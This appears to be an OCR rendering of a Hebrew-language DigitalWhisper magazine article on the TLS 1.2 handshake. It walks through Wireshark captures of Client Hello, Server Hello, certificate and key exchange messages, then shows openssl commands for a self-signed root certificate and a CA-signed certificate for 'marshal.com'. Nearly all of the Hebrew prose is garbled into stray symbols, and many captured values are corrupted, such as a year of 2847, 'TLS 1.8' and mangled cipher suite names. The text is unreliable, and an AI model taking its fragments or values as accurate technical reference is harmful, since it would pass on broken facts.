= s 1y (. S e

¢

L SSL& TrasportLayerSecurityProtocol - C X "Xl de 200 x s 4 {7 . X
1, RSA  x4.,4 4x" sTS ' LMaAp M XA 4

~ o N

DT X X » 43X 5 ¢ D x4 CHTTPS4 _ \DW Xy p~ X HX XX« 4N i s

¥

FS o ke v s D KX S R X L X FLS 4, XX s o mesx o 4 D
s_,_xh-|v1v:vx 1 1., x4 1x .4 oL

‘TLShandshake 14 s PR

X o s ., x X amazoncomL 177 "7x 1408 Doy N oy x

.Wireshark

3 g 54 51976 + 443 [ACK] Seqwl Ack=1 Win=131840 Len=@
25 192.168.43.140 161.69.169.73 TUsvi.2 571 Client Hello
| 29 161.69.169.73 192.168.43.140 T - 28

30 161.69.169.73 192.168.43.140 Tievi.2 1414 Server Hello )
31 161.69.169.73 192.168.43.140 p 1414 443 » 51976 [ACK] Seq=1361 Ack=518 Win=15872 Len=1360 [TCP segment of a reassemblpd POU]
32 192.168.43.140 161.69.169.73 54 51976 + 443 [ACK] Seq=518 Ack=2721 Win=131840 Len=@
33 161.69.169.73 192.168.43.140 1414 443 -+ 51976 [ACK] Seq=2721 Ack=518 Win=15872 Len=1360 [TCP segment of a reassemblpd POU)
34 161.69.169.73 192.168.43.140 Tysv1.2 909 Certificate, Server Key Exchange, Server Hello Done
35 192.168.43.140 161.69.169.73 B 54 51976 » 443 [ACK] Seq=518 Ack=4936 Win=131840 Len=0
36 192.168.43.140 161.69.169.73 Tysvl.2 180 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
37 192.168.43.140 161.69.169.73 Tisvi.2 1076 Application Data
45 161.69.169.73 192.168.43.140 Tisvi.2 328 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
48 161.69.169.73 192.168.43.140 e ——— — 7
49 192.168.43.140 161.69.169.73 TP 54 51976 =+ 443 [ACK] Seq=1666 Ack=5596 Win=131072 Len=@
57 192.168.43.140 161.69.169.73 TLSv1.2 1077 Application Data
67 161.69.169.73 192.168.43.140 TLSvi.2 439 Application Data
78 192.168.43.140 161.69.169.73 TCP 54 51976 -+ 443 [ACK] Seq=2689 Ack=5981 Win=130816 Len=0
94 192.168.43.140 161.69.169.73 TLSv1.2 1081 Application Data

136 161.69.169.73 192.168.43.140 TLSv1.2 437 Application Data

140 192.168.43.140 161.69.169.73 TCP 54 51976 -+ 443 [ACK] Seq=3716 Ack=6364 Win=131840 Len=0

2015 192.168.43.140 161.69.169.73 TLSv1.2 1325 Application Data

2027 161.69.169.73 192.168.43.140 TLSv1.2 437 Application Data

2029 192.168.43.140 161.69.169.73 TP 54 51976 + 443 [ACK] Seq=4987 Ack=6747 Win=131328 Len=0

TLShandshakes + . x o 11 TCPhandshakds~ (] {lL4s *x <« s | 11 s> 1 x.,
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TS X« .Y v 1 TLShandshakés

:ClientHello-m s | x's

Medxe sxt 1 4 11 s (Clientf x _ ~

9 x x . X "l ]s I x X X s s S x( ..
L. cor X4 AS"IST e 1. X 1 K s SI¥ X
- . . . ,
L hxss L. ST« s 1 x . X v . LCleartext- b 4 1 I
X . X & ”
s 1+ x I s 1 MS « -9 0 49>l xs L4740,
S
25 192.168.43.148 161.69.169.73 TLSv1.2 571 Client Hello
29 161.69.169.73 192.168.43.148 TCP 54 443 » 51976 [ACK] Seg=1 Ack=518 Win=15872 |
38 161.69.169.73 192.168.43.148 TLSv1.2 1414 Server Hello
31 161.69.169.73 192.168.43.148 TCP 1414 443 » 51976 [ACK] 5eq=1361 Ack=518 Win=1587
32 192.168.43.148 TCP 54 51976 = 443 [ACK] Seq=518 Ack=2721 Win=131§

161.69.169.73

% Transport Layer Security <

Frame 25: 571 bytes on wire (4568 bits), 571 bytes captured (4568 bits) on interface \Device\NPF_{G674ECAGA-E675-408B-9856-A]
Ethernet II, Src: IntelCor_1@:ad:b@ (dc:fb:48:1@:ad:b@), Dst: ae:79:bc:49:89:5e (ae:79:bc:49:89:5e) <
Internet Protocel Version 4, Src: 192.168.43.148, Dst: 161.69.169.73 <
Transmission Control Protocol, Src Port: 51976, Dst Port: 443,

Seq: 1, Ack: 1, Len: 517 <

% TL5v1.2 Record Layer: Handshake Protocol: Client Helle

Content Type: Handshake (22)

Version: TLS 1.8 (@x@3@1)

Length: 512

% Handshake Protocol: Client Hello

Handshake Type: Client Hello (1)
Length: 588
Version: TLS 1.2 (@8x8383)

Session ID Length: 32

Session ID: d861487a4c562:91ad3959f3ach8eal@72cd3681154C5845..

Cipher Suites Length: 32

Cipher Suites (16 suites)

Compression Methods Length: 1
Compression Methods (1 method)
Extensions Length: 483

Reserved (GREASE) (len=@)
server_name (len=38)
extended_master_secret (len=8)
renegotiation_info (len=1)
supported_groups (len=1@)
ec_peoint_formats (len=2)
session_ticket (len=8)

Extension:
Extension:
Extension:
Extension:
Extension:
Extension:
Extension:
Extension:
(len=5)

tal £1

Extension:

status_request
— 1

Random: 9143efdblofofd7c7el57d1c4456112d9d605fc42a542881 ..
GMT Unix Time: Mar 25, 2847 19:43:55.8@888808888 Jerusalem Standard Time
Random Bytes: 19f9fd7c7el57d1c4456112d9d685Fc42a54e88F57239861 ..

application_layer_protocol_negotiation (len=14)

_I < X
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:ServerHello + Certificate- H s

FX A s L s L X)) s T LS v xS, ] XX
Blon: x 1+ X . *xICertificater . %~ _ F.x*4 .8 10 s .
.34,33
0ons 1w~
“ Transport layer Secyrity
% [TLSv1.2 Record Layer: Handshake Protocol: Server Hello ]
Content Type: Handshake (22)
Version: TLS 1.2 (8x8383)
Length: 76
% Handshake Protocol: Serwver Hello
Handshake Type: Server Hello (2)
Length: 72
Version: TLS 1.2 (@x@383)
Random: aleb836c846e238357c38be3@79363115a2218b0856b5b4T..
Session ID Length: @
Cipher Suite: TLS_ECDHE ECDSA WITH AES 128 GCM_SHAZSG (@xcelh)
Compression Method: null (@)
Extensions Length: 32
Extension: renegotiation_info (len=1)
Extension: ec_point_formats (len=4)
Extension: session_ticket (len=@)
Extension: application_layer_protocol_negotiation (len=11)
+ 141, _ s _ amazonx " 4 ., SérverBone : ! xs X cxlomn sIseed .
s | x X L X ] x DX %15 X s s
Transport Layer Security
“ Transport Layer Security
% TLSv1.2 Record LayerE Handshake Protocol: Server Key Exchange]
Content Type: Handshake (22)
Version: TLS 1.2 (BxB383)
Length: 148
“ Handshake Protocel: Server Key Exchange
Handshake Type: Server Key Exchange (12)
Length: 144
EC Diffie-Hellman Server Params
“ TLSv1.2 Record Layer: Handshake Protocol: Server Hello Done
Content Type: Handshake (22)
Version: TLS 1.2 (@xB383)
Length: 4
“ Handshake Protocol:| Server Hello Done
Handshake Type: |Server Hello Done (14)
Length: @
17174« 4 A7 s de 14y 4 Doxboxo L
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# Transport Layer Security
“ TLSv1.2 Record Layer: Handshake Protocol: Certificate

% Handshake Protocol: Certificate

¥ Transport Layer Security

Content Type: Handshake (22)
Version: TLS 1.2 (Bx@383)
Length: 4687

Handshake Type: Certificate (11)
Length: 4683

Certificates Length: 4688
v Certificates (4688 bytes)
Certificate Length: 1642
% Certificate: 3@3286663022054ca@B308201020211083b2aba368c18d2f2.. (id-at-commonName="*.rest.gti.mc
signedCertificate
algorithmIdentifier (sha256WithRSAEncryption)

Padding: @
encrypted: 6efe2327872d611a98dc54c54b6e585513658ae4af82a576..

Certificate Length: 1523
“ Certificate: 388285eT388203d7aeB3820102021180aeffc259c58dclba.. (id-at-commonName=McAfee OV SSL
signedCertificate
algorithmIdentifier (sha384WithRSAEncryption)
Padding: @
encrypted: 41f8ad2eldse4edlcsf73cafc4eacsonlfi2886c363aa561..

Certificate Length: 1586
v Certificate: 388285de388283chaPB3820182021881Td6d38fca3caslas.. (id-at-commonName=USERTrust RSA
signedCertificate
algorithmIdentifier (sha3B84WithRSAEncryption)
Padding: @
encrypted: Scdd47cadcffiBl17d41996508c73c5529fchfEcfa9a67flbda..

s |

X

s DL TEx I +Xy L rok T a athazéneomd 1 x L x o Lo ] X

x | oX Lo Xox | I 1 1 X T. X LXJ"X-|”~

General Details Certification Path

Certification path

Q DigiCert Global Root G2
“-{Z;] DigiCert Global CA G2
BB v .amazon.com

L ., S _ xDidgiCentGlobalCA 1. 1+ L wwwsamagoncom . _ s ! x o 's
L. 4, 1«”s rivx 1 BigiCert Global Rogt mDigiCert « |, ~ x _ s
L X sy x | sWiresHarks « p ¥ v Loy o kL X DX

w Certificate: 385286653852054230038201020211088b2abR368cl8d2f2. (id-at-commonName=*, rest.gti.mcafee.com,
“ signedCertificate

Vs

\\

WO W W W W

version: w3 (2) A
serialNumber: @x@88b2ab8368cl18d2f226137d2e2b6T51at
signature (sha256WithRSAEncryption)

issuer: rdnSequence (@)

validity

subject: rdnSequence (@)

subjectPublicKeyInfo

extensions: 18 items Y,

algorithmIdentifier (sha2SeWithRSAEncryption)
Padding: @

encrypted: 6efe2327872d611a98dc54c54b6e585513658ae4a82a576..
Certificate Length: 1523

141 %4 T I b XY LoX “Q><><!»<Lx~2=j,:\~l>s!_vlsss)€l~xmv|_s g
X1 p 4 x L. IxBaZoncom L X« S ox Is .t
T7 047 4 b AT s X L.
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Your connection is not private

Attackers might be trying to steal your information from www.google.com (for

example, passwords, messages, or credit cards)
Automatically report details of ssible security incidents to Google. Privacy policy
- [ s
x s HTTP®uthentication: ~ ¢ > * « L S X,

a ~

vxs 140

1 _x 44 L .x x| x| Qerficates X I « x Gliengsd L SEX X X

1s L L x 1A
C)'VS

1 1e sspe i ~x 37 ¥y30P ¥
HTTPS 04 -1 _4 ., 17 -9 si Jxss
1« -~ w1 %4 {¥gmazoncom  : ~ _ S s Dox s 4. L S N
X 1 X a .+~ _ ssessign-s 1 U BT X dwsiAs 41 1S s {s 4 s ¢ Yolox
” - - - X = == .
« q € 1. . , by . Ko NS, USU oL AT x> s ﬂ>.)‘>lw~sl1s,, ¥
aka _ 1 -4 "y 4 T b Ty xox Clxox 4L x Xy
s s ¢ 1. 1- 1 X I x
“ Transport Layer Security
“ TLSv1.2 Record Layer‘:[ Handshake Protocol: Client Key Exchange ]
Content Type: Handshake (22)
Version: TLS 1.2 (@x8383)
Length: 7@
% Handshake Protocel: Client Key Exchange
Handshake Type: Client Key Exchange (16)
Length: 66
% EC Diffie-Hellman Client Params
Pubkey Length: &5
[Puhkey: 94Gc9a2ce5E4d?EBSdEaﬁfce94a14&c54?e924189&b56381“]
% TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (2@)
Version: TLS 1.2 (@x8383)
Length: 1
Change Cipher Spec Message
% TLSv1.2 Record Layer: Handshake Protocol: Encrypted Handshake Message
Content Type: Handshake (22)
Version: TLS 1.2 (@x@383)
Length: 48
Handshake Protocel: Encrypted Handshake Message
T7 17 4<% v 47 4. sx L1 Hwql L dix L
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. s
?210 x s ok d X s g7 s L, r A" L1
:TLShandshakes {4 1 . s - FX 4 ox Dx 4o ] a-nase H4x.sy 4 s
1 - s - L] L ,: I x . s s Il x s s I 17" L 11 ] X L
" Finish: | x's Cledts © 10 _ " _ s”x_Xx%s si 1 sqsf.k*{
i .1 . {1 s 1 - , .S NS s ] 4L s ¢ B G|iéntx_sx~|_ -|:,,,,‘|(\'VX1AVNS S'lA:| ,xvsx
X xiy wireshark-, f X« .0 . v ]IS T BTISS S XT84 s X
sS4y 4 s ¥s (Xgrxxy ¥~ T 44 _ fApplicationDated-1 , x T " 4 X X is
n = . X
w Transport Layer Security
% TLSv1.2 Record Layer:(Application Data Protocol: http-over-tls |
Content Type: Application Data (23)
Version: TLS 1.2 (@x@383)
Length: 1817
Encrypted Application Data: ©000008000000001565d6a8775T572e4299813d34d71b80A..
” -I -I ” S 1 X I ” .
Ay s s tLxs sy Do 4+ s 4 lconhections._, L 1 Toixx_ LT XDl 1Xs
s44” b v d4¥s.e L x TL8handshaker . s~ x < s Dos O U S S
RFC5077 " ) ‘SessionTicketr _ * o x 14 s x7” (s e x4 T
1, % . Cx ] T X oLx _ S connectionL L X~ , S« SS 11
@JX :LXAsuv,J‘vSS , XV-I\. s 'I”'IV
« _ ~ ~ L connection. |Clieht ( = Sessiofligketl v * _  Finishs bxos
handshakel 1 . s : X T Lo~ 4% | JHTRP®ession ", ~ 1 "s4! | %ickets s
X ”

¢

« HFTPS x « x tesponser (I 11

X"y v _ ¥y x s (sessiops « - X Y stateful 1 s

17174« v d 7 - sx 4wl c X
www.DigitalWhisper.co.il
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“ Transport Layer Security
“ TLSw1l.2 Record Layer:[Handshake Protocol: New Session Ticket ]
Content Type: Handshake (22)
Version: TLS 1.2 (@x@383)
Length: 218
% Handshake Protocol: New Session Ticket
Handshake Type: New Session Ticket (4)
Length: 214
TLS Session Ticket
% TLSv1.2 Record Layer: Change Cipher Spec Protocel: Change Cipher Spec
Content Type: Change Cipher Spec (28)
Version: TLS 1.2 (8x@383)
Length: 1
Change Cipher Spec Message
% TLSv1.2 Record Layer: Handshake Protocol: Encrypted Handshake Message
Content Type: Handshake (22)
Version: TLS 1.2 (8x@383)
Length: 4@
Handshake Protecol: Encrypted Handshake Message

KX509: I x oS
1L 14y 4! s Iox
1¢ <« ., ?2s¢ B s X 17« 11~ Lo X X x X 4 s A X
1 wssbC v x4 s Lo, -1 71 s Xy FY " &dDaddywendor ”
1. s , s box T B et 4L s s Sl NN F
N
q X s , X [ X% stA L X L
A =
1. Generate Key-pair
2. User-A requests CA Certificate
o
3. CA responds with its CA Certificate
including its Public Ke
- J Y
4. Gather information
5. Request the Certificate which has
User-A’s identity and Public Key
-
6. CA verifies the
identity of User-A
7. Issue the Certificate for User-A
|
17 .17 4% Fd A s T w{ L e L
www. DigitalWhisper.co.il
2020, * x 14227 x { [ ¥

1

i



Technologic

¢

(4

X CCALI” 4 {x | sy

il ]
I BN
DX ] X

~

X

14Ls s x

X o X (4. XX X KR 8) XX 1 RN 14

.CA .. sl _EA _ s . lis 25 %

Lo X v X VX SCAS TCAX 1D xxIsCs { s Bls L%
LSS X S X s 1 oy x i idy s
"CAS L Poos . xk g os o Iy AX X
T S R S S I U B S I AP R N e

s . xS x s xS xi 4y _ $.5% J%1«x

CAs L 4. x>*A s ] _S ok 51T v s x

C_t s oL s x CAS CGASw XUl 4s 1l x s s 16 v ST TixxX
Jm % XL o) s | x LUt s L xixsg

s _x 1 slox s IGAS s lix s (7L AL
25 41w, X s.,7 s¢

ST D I AN B A SR LR N AP x

ST X XS e X o s ¢ LX s DT s L
r 1 L selfdigned tettificate ! x 44 _ ), (s ! x * X

'|~ -|v|_ =X . A”,.,LX [T
OPEmSSL s X"s] x X s X s ¢ 1.\ sq{x, X
x s ,ofeRrssl| SSEBFLSL X s« X x X%, X Pl 1 T X
X

Tlxoios 4% gpensst 1 | A

.windows*

opensst™

server.keyt Private Key

~ o~

W

~

L

v

S

X X x o, (s

~

L X Ixcertufil s~ wipdows* s 1 L -~

XUy XD X R s

self-signed certificate

(«x A1 o413 WX " Y X s

server.csk Certificate Signing Request

server.crt+ Seltsigned certificate

.IH”.IH

_I‘_X

oAU A s 4 1w L Do box n
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Root CA's name
Root CA's public key ——

Roaot CA's signature

1

Sell-Sign | 1

1
- $ openssl genrsa -out server.key 4096
Generating RSA private key, 4096 bit long modulus (2 primes)
T, _sT X X"k, s madRBA + x s s L X4 {$iopenssigenrsa
. _IX ”11 n” . ,'I .
jon@kali :~/ Documents / certstuff$ openssl rsa -in server.key - noout T text
« ” X
RSA Private -Key: (4096 bit , 2 primes )
modulus :
00: e9: 78: 14: be: 6a: 50: 93: 4b: 66: 20: 38: 10:
30: 9f : 53: e0: b2: a5: 98: 8b: 12: 4¢: 87: 25: cl:
publicExponent : 65537 (0x10001 )
privateExponent  :
00: e2:d4: 29: Ob: 4b: 8d: 97: 5d: e5:
5e: 0d: 1le: 58: 2c: 19: 59: 58: 9c: el:
primel :
00: ff : df : 3a: 70: 52: : 2d: a4: 40:
2a:01: b5:17:f0 : 3f: ad: 56: 10: ae:
prime2 :
00:e9:95:fb:cl:66:70: ab: cf : 8a:
8d: 80: a9: fb : a6: 6a: 27: a2: 93: fe :
exponentl :
2d: fe : ed: dd: 65: 20: c6: df : al: 00:
63:e6: 2e:f0: 74: 31: ;a7 bd: fd :
exponent2 :
00: a4: 8c: 32: 70: 58: : b0: c7: a0:
7d: 56: 10: e8: a4: 9f : 8d: 52: 3a: fc :
coefficient :
00:c6:c9:44: be:9b:cd:9c: dO: 8e:
6b: 77:98: e6: c0: 2e:cd:cb: a6: 7a:
17 .17 4% v A s LA L L
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S ~
[ I JER T S S Tx0e o0 T4 | Co e S S B T
.certificateissuer. ~ 1t ¢ L ¥4
. . . 1% s L CettificateSigringReduest(CSRm > ! x s | s 41 T s <
*r v 4t 4. P4 T4s s s X x ] s {s{ « | psXx T 4C7
1xs 4 ¢s X1 xCommonNames &« XxsXx K | «Ss ¢ X
$ openssl req -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:IL
State or Province Name (full name) [Some-State]:Israel
Locality Name (eg, city) []:Tel Aviv
Organization Name (eg, company) [Internet Widgits Pty Ltd]:IDF
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:jon
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
openssl + CSR 7 ] x ! e T X

jon@Kkali :~/ Documents / certstuff$ openssl req -in  server.csr - noout - text
Certificate Request
Data :
Version : 1 (0x0)
Subject : C=1IL, ST = lIsrael , L = TelAviv , O = IDF, CN = jon
Subject Public  Key Info
Public  Key Algorithm  : rsaEncryption
RSA Public - Key: (4096 bit )
Modulus :
00: e9: 78: 14: be: 6a: 50: 93: 4b: 66: 20: 38: 10: 17: e3:
30: 9f : 53: e0: b2: a5: 98: 8b: 12: 4c: 87: 25: cl: ec: 2d:

Exponent : 65537 (0x10001 )
Attributes
a0: 00
Signature Algorithm :  sha256WithRSAENcryption
9e: 18:40: b2:cb: c2:35:88:86: 12: 9b: d8: 3b: 70: f3 : 55: 64: 4c:
ce:51:71:60:30:ch: 73:9e:fl :e8:99:50: e5: ee: 8c: 11: d2: 45:

$ openssl x509 -req -days 365 -in server.csr -signkey server.key

-out server.crt
Signature ok
subject=C = IL, ST = Israel, L = Tel Aviv, O = IDF, CN = jon
Getting Private key

1717 4> v d 74 sx 4T dw{!l codidx L
www.DigitalWhisper.co.il
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s 4L, x 7" L1 x xm8epvercrt_ | S XS S {sX S
“'I ” s ’Slx L « X Y _I.I”\ X " X""L LJX!;
: sglfsignedcertificate + _ s ™ < 1”7« +yY ) sl x s v X s X X
jon@kali :~/ Documents / certstuff$ openssl x509 -noout -text -in server.crt
Certificate
Data :
Version 1 (0x0)
Serial Number
40: 7b: 21: 2f : 4a: d2: c8: 28: f7 : b5: f7 : e0: b9: €9: 4e: 5a: le: 3f : 09: 56
Signature Algorithm sha256WithRSAEncryption
Issuer C=1IL, ST =Israel , L = TelAviv , O = IDF, CN = jon
Validity
Not Before : Jun 17 20:55:47 2020 GMT
Not After Jun 17 20:55:47 2021 GMT
Subject C=1IL, ST =lIsrael , L = TelAviv , O = IDF, CN = jon
Subject Public  Key Info
Public  Key Algorithm rsaEncryption
RSA Public - Key: (4096 bit )
Modulus :
00: e9: 78: 14: be: 6a: 50: 93: 4b: 66: 20: 38: 10: 17: e3:
30: 9f : 53: e0: b2: ab: 98: 8b: 12: 4c: 87: 25: cl: ec: 2d:
Exponent : 65537 (0x10001)
Signature Algorithm . sha256WithRSAENcryption
71:c3:04:61:07:9d: 4c: 87: ef : 5d: f7 : fb : 5e: 03: bl: cb: 9b: 68:
ea: fb:79:d9: da: 6a: e0: f2 : 34: a3: 86: 13:f6 : 86: f6 : f9 : df : 9c:
v, X x
A1 os ool 4T 0 X7 o4 0 X s CAX DX sy XX, X
Llox X L XHTTPSH 4 s 1 _dy s s aox. s X XY o
L. o ~xos ooy by S Txy oo 4 v A4 1 s 1 s hx
( = X o x ] s | x
L1 xs oy ” L extensbohs%x | s _ {  4s. 4 X7 g "Ts o 4 XY X
x 1. s ¢ ]« x @peénsslconfigl » x x4 ¥ ¢ 0 s ], x4 s
X o4 v Ay b o xs L x o) sxkxy sy X v d s ¥s {8 -1 -
X509vl s _ . L o~ qs o xyBasagx_ s bix, {isq o) TSy
an Certificate
General Details Certification Path
Show: |<All> v
Field value
[Uersion V1 l
5] Serial number 407b212f4ad2c828f7b5f7elb. ..
___| Signature algorithm sha256RSA
____| Signature hash algorithm sha256
‘_|Issuer jon, IDF, Tel Aviv, Israel, IL
__]Valid from Wednesday, 17 June 2020 23...
[ |valid to Thursday, 17 June 2021 23:5...
e dninss iom IDE Tal A Teraal TI
17 .17 4% v A s LA L L
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] L x "o . s | x
Koo
File = Action View Help
s 2F B ez HE
GV Certificates - Current User Object Type
il Personal I Certificates
| Trusted Root Certification Aut
. Enterprise Trust
1 Intermediate Certification Aut
J Active Directory User Obje Security Warning
| Trusted Publishers
- Untrusted Certificates v T e el SOy CB)
. - | ‘OuU are about 1o In: ace icate from a ce Ical author
— Ihlrfe-:a:y Rloot Certificat | Chaming 5 reiresent
| Trus eople
| Client Authentication Issu¢ jon
_ ISG Trust
B MSIEHistoryJournal Windows cannot validate that the certificate is actually from “jon". You
= should confirm its origin by contacting “jon". The following number
_ Smart Card Trusted Roots will assist you i this process:
Thumbprint (shal): 66ED265A FEOOA422 B24CC84E 341C69ED
DS09E087
< | Warning: >
If you install this root certificate, Windows will automatically trust any
\
certificate issued by this CA. Installing a certificate with an
unconfirmed thumbprint is a security risk. If you click "Yes" you
arbnmudad~a thie viel
Yes No
s e )y s o x T X 10 Ay s ey 4 e xs o x T 0
Titrusted root certification authenticators] CAs xs € oo bxex s px 14 vy
.|J,,xWer_xq|_}(lx:iyvx]x-pxxxxix J-X,.‘VI)X‘V FosoL X .
o] .
ﬁ Cgrtificates - Current User lssued To Issued By
 Personal 5 Globalsign Globalsign
v | Trusted Root Certification Aut . .
= . Cgl GlobalSign Root CA GlobalSign Root CA
_| Certificates e I
2 Enterprise Trust ) Go Daddy Class 2 Certification A.. Go Daddy Class 2 Certification Aut..
_| enterprise Irus r u e 2 .
S [nt P diate Certification Aut _g,JGo Daddy Root Certificate Auth.. Go Daddy Root Certificate Authori..
~ Intermediate ertimcation Al
% Active Directory User Object CglHotspot 2.0 Trust Root CA - 03 Hotspot 2.0 Trust Root CA - 03
= ) jon jon
| Trusted Publishers 5 _ _ J _ _
“ Untrusted Certificates ;Mlcrosoft Authenticode(tm) Roo.. Microsoft Authenticode(tm) Root ...
| Third. Party Raat Certification || —& Microsoft ECC Product Root Cert..  Microsoft ECC Product Root Certifi...

L ~ fogt CA s b x 71T x4
x",_~ stA s . A.|v-|s|_x =Xy , o X% X"|-5~..ZH~|J |_-|,,-|~J
xoooox o Dx boxe b X DT L A TXITXL e X KX s D Xss o XL {s”
Fd o MTTRS « _x 4 _ =+ x v w44 _1_ v =~
17,17 4% P A s Hw{ T L e Lo,
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s « » " x marshal

Creating CA-Signed Certificates

confrt ~ - ~ s X7 TXY X X oL b X .

L (r ! xws reotCA, *x X ,w¥q) sl x I MTIRE Ix AL {s | 1.1,
» %7 s s sérverhello)x ~ 14 TS x , XX 4 7 = X s I x.<o ¥ {85
XX o, P o o X o4 s o x "X S Lo+ 1

marshal.com

| End-Entity Cortificat

Cwmer's name
Owner's public key
Issuer’s (CA's) name
Issuers signature Reference an
| Root Certficate
Root CA's name
Root CA's public key
Sign | 2
Root CA's signature
Self-Sign | 1
:marshalcom. 11~ 1TCAs_ = Ixx 4" . 440 s _x1IX
$ openssl genrsa -out marshal.com.key 2048
Generatlng RSA private key, 2048 bit long modulus (2 primes)
11, L .ies  Ixs el ,x o f  ssE CSR! 4l _LAXTOSTL xITHYT

11~

$ openssl req -new -key marshal.com.key -out marshal.com.csr

You are about to be asked to enter information that will be incorporated

into your certificate
what you are about to
There are quite a few
For some fields there
If you enter '.', the

request.

enter is what is called a Distinguished Name or a DN.
fields but you can leave some blank

will be a default value,

field will be left blank.

Country Name (2 letter code) [AU]:IL

State or Province Name (full name) [Some-State]:Israel

Locality Name (eg, cit
Organization Name (eg,

y) [):Tzrifin
company) [Internet Widgits Pty Ltd]:

Organizational Unit Name (eg, section) []:

Common Name (e.g. serv
Email Address []:

Please enter the follo
to be sent with your c¢
A challenge password [

er FQDN or YOUR name) []:marshal

wing 'extra' attributes
ertificate request

]:

L T B I I I R B (R e Tt
www.DigitalWhisper.co.il

2020~ * x 1 4227 x { [ ¥

>

S



Technologic

xx“) S <« Xs s ,_-|'||_X~C8R<-|7|,3<x!Zv-|1s,,|ls’k-|vsl(-|svl><xﬂ:s
CSR . XX s 4 s x U X 1o VMerisigne_ 1 %4 AL Ldtshidlcom.esr

s | x .S L X L ., X S N . F SVV;J“ExAquf~}”L

(-~ 54 Ax_ 4. %) . x

P X TP x s 4. Xtruktedsroot cértifiaatjon-* Fodow 4 O o0 xS 1

o] x s 4 L 4x X L HTTPS v, + A ™ 4 T A, 8 X3 X X ws
Lo o e X T X Hexs ] A X X T e X
sC A x4
S oL ax o . o x 4 . osetups xS 'GvogleChirome L Tp yl s sy o

s ¢ F X« CemmenName - s*1 % aol X 4oL % 4~ ¢ AddiExceptiofi X "

x "L “« L Lolox o \V_]_) x"-|ss-|xx~,,>1"x.|sst,,i:]: x,\l,,LWx,,L)va_ s XI]x % .

HTTPS: _ 4L ¥

.extensions  _ - x| P, CAext!sx 0 s, xioef "Xxx 0 7 1] . X

7174 ' s _ 1 s e b e . e XX S T S0 T T

CSR s | x . « 1 s " CAs  sHIXCASXEY {, {" 1.« ss TXix o XXX
_ ~mafshalcom -~ - -

: $ openssl x509 -req -in marshal.com.csr -CA server.crt -CAkey ser
ver.key -CAcreateserial -out marshal.com.crt -days 180 -extfile CA.ext
Signature ok
subject=C = IL, ST = Israel, L = Tzrifin, O = Internet Widgits Pty Ltd, CN = marshal
Getting CA Private Key

:‘.|,,Iss,,v~|_J s | x . X "X R

$ openssl

3 (0x2)

:3.7:8: : : : : : :03: 74: 16:

1717 4> v d 74 sx 4T dw{!l codidx L
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22:55:15 2020
22:55:15 2020

(2048 bit )

: be: : 94
. 77:86: 03:

(0x10001 )

17: : :61:79:':82:3:5:

72:9Db: 4a: 9d: : 03: 1 78:

s | X . s DNS ZxxLI-{NJ -{x~” L, 1y s 1 IX509y3-~ .l x Tiixqy ", x’x=IJv X:vA

sissuers s | vXos X X e AL e Y T

Issuer: C = IL, ST = Israel, L = Tel Aviv, O = IDF, CN = jon

. X S F v S « X Xy s Il x SS L. s | ~ S'marghglciomvnﬁ SRR PN I

~ v ~ A ~ >

oo L . S L x o qoh-J cx by L]

~ v ~ o~ ~

General Details Certification Path

Certification path

Gl on

Certificate status:

I*is certificate is OK. I

1717 4> v d 74 sx 4T dw{!l codidx L
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s | x x ., X | . 11 fOﬁ ¢-|VI is L,_AmapgﬁaJ XL::~J'|,,SA|V)KA . s~ X <
11 4L x
s | x s L X X1, s
General Detalls Certification Path
Show: | Extensions Only v
Field Value
5 Authority Key Identifier Certificate Issuer: Directory A...
@ Basic Constraints Subject Type=End Entity, Pat...
@ Key Usage Digital Signature, Non-Repudia...
LQJ Subject Alternative Name DNS Name=marshal.com, DNS...
Certificate Issuer:
Directory Address:
CN=jon
0=IDF
L=Tel Aviv
S=Israel
C=IL
Certificate SerialNumber =407b212f4ad2c828f7b5f7e0bSe94e 5a 1230956
Edit Properties... Copy to File...
oA os 0l s i x e ¥y oS X ~ _ marskhalcom! ¥ 1 .
JTLHAwayhandshake {1 41 L s - X x 1. 4 x x4« X
X509: x I x 1
X X < DX X 4. B I 1 - X, ] XD ox [ X{x 7"ss T
X, X1 «1411 -~
x 4 _ L. _¥Yl 4 _ {CRUOCSP: x 1% %X« « LblatkKst#x _ % (1 _
1 S Jux s S % X, _s x4sd. 4., Jwhitelisty Xz 171"
XY ., 1s% blagkist* _x _d ] " 4s | x
<4y X » CRL, ~» _rw44” A x Kpx 4] 0 1Tx <L Fos x box
x L clientst 1 XX, offing L A X L x s Lx 1 o
14 _ e oA s, 4 SCRE 1T 85*X 4¥4 p8ss51 THAX o Al Y
1 v x |CRE - IR A O T Y I B e 1o x 0 Acr~47
s "X 1~ I vy s x0T Lo, X x
TA1.0 71 . 4. 1x JERET X pIfR X Y
.root certificatest. ¢ x 14> s 7 xX*X ¢
17 .17 4~ % 474 sx 41 Hwdl 1 aHx L
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s | . s ¢ s " C‘ogtainer' J4 X7 74 > 4T« X x o . x4 .ﬁ-[lwlx-| VZ XTF'XXLH:N , LOX
S W x ¢ 7 Zx-|”-||vx .|x>.|v ,
namespace _, X 1 _ : x | intermediatelCAS’ 51 X ¥ s | CAsd v H+ X< § x4 X
LS o4 vds Tsyxx kA "CAS AP 8 T Dox 44 1L
N R
141 s ‘CAs + x lewogssighing = x _ 41 S Xoos o lxptx 47 g% S8 s
CXx 41 7€ STAT L a SX 4S5 X 1
YCAs v+, = x4 X
. _lx , oox x=MZ~X" s xl §U{§j§CESSD~XX'|A;I~( .S 1 - L. x ® <411 s
¥ 151 P X e .S x4s A s 11*+« s subjects » 1 7 x ., X ¥ x| X &s
{11
X 45 x 4 x X , s XL X TS FCAX L X 4T « X el 1 X A s X
x Tx L Fs X I 4x " I x sx Sx 1 x w s Lo A T B B LY
.CASLN l°1x“'|x'|2x><-|-|'|ls :XA‘V‘X x“>"xs~ DX X ¢ox |
X w4 "s o o0 e o omx oy X L " p YCAS Tl ok 1
NXV_IVX -X'IAX
s . is X q XS T N DX "X . :X509x2"x~l,,xn ., |_|_-|~y L x,>><><x N
